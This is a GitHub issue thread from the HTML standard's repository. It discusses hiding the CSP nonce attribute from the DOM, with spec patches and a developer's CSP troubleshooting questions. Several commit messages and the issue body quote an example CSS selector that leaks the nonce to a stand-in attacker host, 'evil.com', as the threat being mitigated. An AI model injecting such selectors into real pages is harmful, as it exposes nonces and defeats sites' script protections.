-
Notifications
You must be signed in to change notification settings - Fork 2.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Consider hiding nonce
content attributes.
#2369
Comments
What is the processing model for 2? What would |
Per w3c/webappsec-csp#65 your suggestion would break scripts. Is that no longer true? |
I don't care too much about 2, honestly. The idea is than an application that doesn't want to give scripts the ability to propagate the nonce has the ability to clear it out before loading scripts they don't trust as much. I guess we could support that through
Ah, thanks for finding that! I knew you'd said "Hey, shouldn't we hide the nonce?" at some point, but I couldn't find the bug. :) The refinement here is that the nonce continues to be available via the |
Should |
@zcorpan: What do you mean? |
I mean, should the attribute value of
|
Got it. Yes, I'd suggest treating that in the same way. :) |
Re: the discussion in w3c/webappsec-csp#65 mentioned by @annevk -- I was, sadly, wrong about that. The attacks on nonces that we were worried about relied on injecting "dangling markup" where the legitimate nonce would become part of another attribute (e.g. something like The approach outlined by Mike above achieves the security goal (i.e. prevents exfiltration of the nonce via CSS and any similar techniques) but also allows nonce propagation because scripts can get its value by using the IDL attribute / |
But in that discussion you also said that we'd break existing scripts. So those libraries you mention there all use the |
The simplest answer is that we plan on breaking them; more accurately, we'd require them to be refactored to first check for the presence of the IDL attribute (for UAs which make this change), and if that fails, the DOM attribute (for UAs which don't). My guess is that potential breakage is most likely limited to Google (since we're the main, if not only, user of nonce-only CSP policies) and it's something we can deal with; but it would be good to add telemetry to see if this would be a problem anywhere else. |
We've seen some recent attacks on CSP which rely on the ability to exfiltrate nonce data via various mechanisms that can grab data from content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker's server for reuse (e.g. `script[nonce=a] { background: url("https://evil.com/nonce?a");}`). This patch makes some changes to mitigate this risk by hiding the nonce value from relevant element's content attributes: 1. When parsing an element with a `nonce` attribute, the content attribute's value is copied into an internal slot on the element, and overwritten with the empty string. 2. The `nonce` IDL attribute's getter returns the value of the internal slot, and its setter updates the internal slot's value. 3. The internal slot's value is used to populate the cryptographic nonce metadata used by Fetch when making requests. WIP: This patch doesn't actually do the above yet. It only adjusts the <link> element in the hopes of sparking conversation about how this feature should actually work. Does it look reasonable? Should we replicate the steps for each element type that has a nonce, or move it up the chain to something like Node?
@annevk, et al: I uploaded a strawman PR (#2373) that applies the above to @arturjanc: I know y'all are updating Google-internal libraries to propagate nonces using the IDL attribute rather than the content attribute. Do you plan to upstream changes to external libraries as well? Do external libraries do this yet, or has |
Re (2), I think it would be pretty confusing for web developers if |
Should the fragment parser (i.e. |
If not. would this cause |
Correct. |
But scripts inserted with |
New question. Should [[Cryptographic Nonce]] be cloned with |
Thanks, @zcorpan!
As background, I think the only case in which setting a nonce value is reasonable is during creation/insertion of a new script. That is:
In that situation, I honestly wouldn't care if To bring in the conversation from #2373 (comment): this patch basically decouples the IDL and content attributes (e.g. whatever.setAttribute('nonce', 'whatever') pokes at the content attribute's value, but doesn't change the internal slot, and vice-versa with whatever.nonce = 'whatever'). That seems more conceptually defensible than linking the two in some cases but not in others.
Sure. It seems like it would be surprising to prevent that... am I missing something? In general, I'd imagined that we deal with the
Good question. Do we clone other kinds of state (e.g. |
https://html.spec.whatwg.org/#script-processing-model
The other pieces of state are not cloned for |
I think I'd expect that, yes. |
This patch extracts the 'nonce' attribute out to a generic definition in the "Fetching resources" section (alongside "CORS settings attributes", etc.), and defines some new behaviors with the intent of reducing the risk of side-channel leakage of the nonce's value. In short, the nonce value is extracted from the content attribute when the element is inserted into the DOM, and put into an internal slot. The content attribute's value is set to the empty string. From then on, the slot's value and the content attribute's value are disconnected; alterations to one have no effect on the other, and vice-versa. The nonce's value is available to script via the `nonce` IDL attribute, and so can be propagated just as today. Addresses #2369.
I desperately need some insight into this problem I am having. I set a nonce e.g. <script nonce="some-nonce"></script> and I can see it in page source, but when I use google developer tools to inspect the script it just shows <script nonce></script> and the script fails the CSP for the specified nonce value. After this I tried using a hash of the code as the CSP, but that didn't work either... I have to have a bit of inline script because I am using pug which has variables passed from Express, and I have found no way of getting those values into my script when it is just a script file. Plus I need inline styles for page-load speed. |
That's expected. Get the script element, console.log(element.nonce) and see
if it matches the one in your policy.
…On Thu, Nov 9, 2017, 18:19 George Campbell ***@***.***> wrote:
I desperately need some insight into this problem I am having. I set a
nonce e.g. <script nonce="some-nonce"></script> and I can see it in page
source, but when I use google developer tools to inspect the script it just
shows <script nonce></script> and the script fails the CSP for the
specified nonce value.
Any idea why?
After this I tried using a hash of the code as the CSP, but that didn't
work either...
I have to have a bit of inline script because I am using pug which has
variables passed from Express, and I have found no way of getting those
values into my script when it is just a script file. Plus I need inline
styles for page-load speed.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<#2369 (comment)>, or mute
the thread
<https://github.com/notifications/unsubscribe-auth/AA8hlUkpqBZwX9x7xSoa0Pw1TrmGZOSpks5s0zPTgaJpZM4MEH4r>
.
|
Thank you that helps. I have the script nonce working, but the style nonce is not working, despite I can see the CSP for style has the same nonce as the style has. So I am stuck again. I am also receiving: Refused to load the image 'https://localhost:3000/images/loading-icon.png' because it violates the following Content Security Policy directive: "img-src 'self'" Despite loading from self. I am also receiving: Refused to load the script 'https://localhost:3000/js/client.js' because it violates the following Content Security Policy directive: "script-src 'self' 'nonce-fcffe281-993c-40a7-a241-910ad71087b3' |
For the first error, the only possibility is that the image is not
same-origin (scheme + host + port).
For the second, consider that also sourced and dynamically sourced scripts
have to have a correct nonce.
…On Thu, Nov 9, 2017, 18:41 George Campbell ***@***.***> wrote:
Thank you that helps. I have the script nonce working, but the style nonce
is not working, despite I can see the CSP for style has the same nonce as
the style has. So I am stuck again. I am also receiving:
Refused to load the image 'https://localhost:3000/images/loading-icon.png'
because it violates the following Content Security Policy directive:
"img-src 'self'" Despite loading from self.
I am also receiving:
Refused to load the script 'https://localhost:3000/js/client.js' because
it violates the following Content Security Policy directive: "script-src
'self' 'nonce-fcffe281-993c-40a7-a241-910ad71087b3'
Which is NOT an inine script, it is a file....
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<#2369 (comment)>, or mute
the thread
<https://github.com/notifications/unsubscribe-auth/AA8hlU8z-4hVcNaRD3xUfhj7a3L89Yr7ks5s0zlEgaJpZM4MEH4r>
.
|
thank you. do I need a unique nonce for each script and style? |
No.
…On Thu, Nov 9, 2017, 18:52 George Campbell ***@***.***> wrote:
thank you. do I need a unique nonce for each script and style?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
<#2369 (comment)>, or mute
the thread
<https://github.com/notifications/unsubscribe-auth/AA8hlXCSKXZ9UAWJBC1QVXttsGbK7fEpks5s0zvzgaJpZM4MEH4r>
.
|
Thanks. As for the other scripts, adding the nonce is working and the page is functional. The inline styles are applying to the page, but I am still getting the error in the console that they are blocked by CSP. It has the same message 7-11 times, but only 1 inline style. Any idea why? I do not like these console messages but I suppose I can live with them. Finally, some of the images aren't actually loading, so I have to look into this. Again, thanks for helping. |
It is all working now and those messages have stopped appearing. |
Some [recent attacks on CSP][1] rely on the ability to exfiltrate nonce data via various mechanisms that can read content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker's server for reuse (e.g., `script[nonce=a] { background: url("https://evil.com/nonce?a");}`). This patch mitigates the risk of this class of attack by hiding the nonce value from elements' content attributes by moving the `nonce` attributes into a new `NoncedElement` interface mixin, which is included into `HTMLElement`. That mixin defines the following behaviors for the `nonce` content attribute: 1. When the `nonce` content attribute is set or changed, its new value is copied into a `[[CryptographicNonce]]` slot on the element. 2. When a `NoncedElement` is inserted into a document which was delivered with a `Content-Security-Policy` header, the `nonce` content attribute is cleared out. The `nonce` IDL attribute getter and setter now operate on the `[[CryptographicNonce]]` slot's value rather than reflecting the content attribute, meaning that the nonce value remains exposed to script, but is opaque to non-script side-channels. Likewise, the `[[CryptographicNonce]]` slot's value is used when populating a request's cryptographic nonce metadata in order to deliver the nonce to CSP for validation. Tests: https://github.com/w3c/web-platform-tests/tree/master/content-security-policy/nonce-hiding Closes whatwg#2369. [1]: https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
We've seen some recent attacks on CSP which rely on the ability to exfiltrate
nonce
data via various mechanisms that can grab data from content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker's server for reuse (script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); }
). Chrome is experimenting with some changes that might help mitigate this risk, which seems fairly robust:When parsing a
<script>
tag with anonce
attribute, copy the attribute's value in to an internal[[nonce]]
slot on the element, and then overwrite the content attribute's value with the empty string.When changing the value of the content attribute (e.g. via
setAttributeValue
), update the value of the internal[[nonce]]
slot.When running a script, pass in the
[[nonce]]
slot's value rather than the content attribute's value as the cryptographic nonce metadata to be used when fetching the script resource.The
nonce
IDL attribute onHTMLScriptElement
's getter returns the value of the internal[[nonce]]
slot. Its setter sets the internal[[nonce]]
slot's value. This enables JavaScript to retain access to the nonce value to manually propagate trust to scripts they require.We'd want to do the above for every element that supports a
nonce
attribute. Some folks on the team suggest that it might actually be nice to extend this behavior to every element. That is, move this up toElement
(orNode
?) rather than special-casing the three elements that currently support nonces. If we extend nonce support to other resource types (as I'm told Mozilla has already done with images?), this might be more reasonable than special-casing even more elements.The tests associated with https://codereview.chromium.org/2628733005 and https://codereview.chromium.org/2644143005 might help explain the expectations.
@arturjanc, @mikispag, and @lweichselbaum have opinions. I hope folks like @annevk, @mozfreddyb, @ckerschb, @dveditz, @hillbrad, @devd, @johnwilander, and @teddink also have opinions.
The text was updated successfully, but these errors were encountered: